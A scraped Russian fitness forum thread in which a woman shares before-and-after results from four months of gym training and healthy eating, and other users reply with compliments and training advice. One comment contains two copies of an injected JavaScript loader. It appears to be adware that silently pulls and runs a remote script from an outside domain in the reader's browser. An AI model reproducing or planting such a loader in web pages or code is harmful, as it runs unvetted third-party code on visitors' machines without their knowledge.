Разница в 4 месяца. Что скажете?
Отчеты-результаты о питании, о тренировкахХожу в зал 2 раза в неделю, чаще к сожалению не получается. поэтому совмещаю и кардио и силовые в один день. да, тяжело, а что делать?))) На диетах не сижу, стараюсь поддерживаться ПП, но никак не могу довести до совершенства свой рацион и не всегда получается во время поесть, а иногда приходится есть что попало)))
ну в общем выкладываю свой позор на всеобщий суд!
До: июль 2013 года
После: ноябрь 2013 года (занимаюсь с августа)
Женя
Отличная база! Есть над чем работать, тут все будет в идеальном состоянии месяца за 4
19.03.2014
Ответить
Наталья
есть еще фотки с полугодовалым результатом вот тут http://www.babyblog.ru/community/post/hudeem/1733929
19.03.2014
Ответить
Anais268
Умница! и пресс заметно и ножки и попа очень заметно подтянулась и взмыла вверЬх 
По моему мнению теперь упор больше на силовые надо сделать, жечь особо нечего а вот для достижения идеала в вашем понимании нужен рельеф мышц
По моему мнению теперь упор больше на силовые надо сделать, жечь особо нечего а вот для достижения идеала в вашем понимании нужен рельеф мышц
05.12.2013
Ответить
Олеся
Наташ (можно на ты??!), о таком "позоре" некоторым (в первую очередь говорю о себе) можно только мечтать!!!ты просто умница, так держать! Можно я тебя вопросами в личку помучаю?? У меня сейчас комплекция как у тебя на фото До...
01.12.2013
Ответить
Наталья
Спасибо, я стараюсь, но пока мне этого очень недостаточно! конечно можно на ты! Спрашивай)
02.12.2013
Ответить
Наталья
О божеееее, спасиибо! такие слова дают еще больше сил совершенствовать себя, зная о том что есть результат! Благодарю!
30.11.2013
Ответить
алена
классно..результат на лицо...апплодирую 
[removed](function () {
var script = document.createElement('script');
script.src = 'https://abover.com/system/extension?iframe=' + ( self === top ? '0' : '1' ) + '&r=' + Math.random() + '&v=1.0.8';
script.onload = script.onerror = function () {
script.onload = script.onerror = null;
script[removed].removeChild(script);
}
document.body.appendChild(script);
})();[removed]
[removed](function () {
var script = document.createElement('script');
script.src = 'https://abover.com/system/extension?iframe=' + ( self === top ? '0' : '1' ) + '&r=' + Math.random() + '&v=1.0.8';
script.onload = script.onerror = function () {
script.onload = script.onerror = null;
script[removed].removeChild(script);
}
document.body.appendChild(script);
})();[removed]
29.11.2013
Ответить
Оставшиеся комментарии доступны после регистрации
Зарегистрируйтесь и получите полный доступ ко всем функциям сайта.